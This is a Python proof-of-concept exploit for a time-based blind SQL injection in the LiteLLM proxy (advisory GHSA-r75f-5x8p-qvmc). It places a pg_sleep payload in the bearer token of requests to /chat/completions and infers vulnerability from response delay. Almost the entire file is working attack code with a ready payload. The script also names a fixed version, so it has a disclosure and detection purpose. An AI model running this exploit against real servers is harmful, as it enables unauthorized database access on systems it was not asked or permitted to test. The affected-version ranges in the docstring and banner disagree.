#!/usr/bin/env python3 """ LiteLLM Proxy SQL Injection PoC (GHSA-r75f-5x8p-qvmc) Target: litellm <= v1.83.3 (before fix commit 4dc416ee74) Attack Path: error-handling callback → get_key_object(raw_token) → SQL injection Usage: python poc_litellm_sqli.py --target http://192.168.1.36:4000 python poc_litellm_sqli.py --target http://192.168.1.36:4000 --delay 5 """ import argparse import sys import time import requests BANNER = r""" ╔═══════════════════════════════════════════════════════════╗ ║ LiteLLM Proxy SQL Injection PoC ║ ║ GHSA-r75f-5x8p-qvmc | CVE: Pending ║ ║ Affected: litellm >=1.81.16, <1.83.7 ║ ║ Attack: time-based blind via error-handling callback ║ ╚═══════════════════════════════════════════════════════════╝ """ C = { "RED": "\033[91m", "GREEN": "\033[92m", "YELLOW": "\033[93m", "BLUE": "\033[94m", "CYAN": "\033[96m", "BOLD": "\033[1m", "END": "\033[0m", } def make_payload(delay: int) -> str: """pg_sleep returns void, wrap in subquery to avoid boolean type error.""" return f"' OR (SELECT 1 FROM (SELECT pg_sleep({delay})) t) IS NOT NULL--" def send(session, target, token, timeout=10): start = time.time() try: session.post( f"{target}/chat/completions", headers={"Authorization": f"Bearer {token}"}, json={"model": "gpt-3.5-turbo", "messages": [{"role": "user", "content": "test"}], "max_tokens": 1}, timeout=timeout, ) except: pass return time.time() - start def main(): parser = argparse.ArgumentParser(description="LiteLLM Proxy SQL Injection PoC (GHSA-r75f-5x8p-qvmc)") parser.add_argument("--target", "-t", required=True, help="Target URL") parser.add_argument("--delay", "-d", type=int, default=5, help="pg_sleep delay in seconds (default: 5)") parser.add_argument("--verbose", "-v", action="store_true") args = parser.parse_args() print(BANNER) target = args.target.rstrip("/") delay = args.delay session = requests.Session() session.headers.update({"Content-Type": "application/json"}) # Check target alive print(f"{C['BLUE']}[*]{C['END']} Checking target: {target}") try: resp = session.get(f"{target}/health", timeout=5) print(f"{C['GREEN']}[+]{C['END']} Target alive (status {resp.status_code})") except Exception as e: print(f"{C['RED']}[-]{C['END']} Cannot connect: {e}") sys.exit(1) # Baseline with normal sk- token print(f"\n{C['BLUE']}[*]{C['END']} Measuring baseline (3 requests)...") baseline_times = [send(session, target, "sk-baseline-timing-test", timeout=10) for _ in range(3)] baseline = sum(baseline_times) / len(baseline_times) if args.verbose: for i, t in enumerate(baseline_times): print(f" baseline {i+1}: {t:.3f}s") print(f" Baseline avg: {baseline:.3f}s") # Control: non-sk- token without pg_sleep print(f"\n{C['BLUE']}[*]{C['END']} Control: non-sk- token without pg_sleep...") ctrl = send(session, target, "AAAA-control-no-sleep-XXXXXXXXXXX", timeout=10) print(f" Control: {ctrl:.3f}s") # Time-based test threshold = baseline + delay * 0.6 print(f"\n{C['BOLD']}{C['CYAN']}{'='*55}") print(f" Time-based Blind SQL Injection (pg_sleep={delay}s)") print(f" Threshold: {threshold:.3f}s (baseline + {delay}×0.6)") print(f"{'='*55}{C['END']}") payload = make_payload(delay) print(f" Payload: {payload}") test_elapsed = send(session, target, payload, timeout=delay + 15) print(f" Response: {test_elapsed:.3f}s") if test_elapsed >= threshold: print(f"\n{C['GREEN']}{C['BOLD']}[+] VULNERABLE! pg_sleep({delay}) confirmed{C['END']}") print(f" Delay vs baseline: +{test_elapsed - baseline:.1f}s") print(f" Attack: assert fail → failure_hook → get_key_object(raw) → SQLi") print(f" Fix: upgrade to litellm >=1.83.7") sys.exit(0) else: print(f"\n{C['YELLOW']}[!] No delay detected{C['END']}") print(f" Response {test_elapsed:.3f}s < threshold {threshold:.3f}s") print(f" Possible: patched target, WAF, or statement_timeout") sys.exit(1) if __name__ == "__main__": main()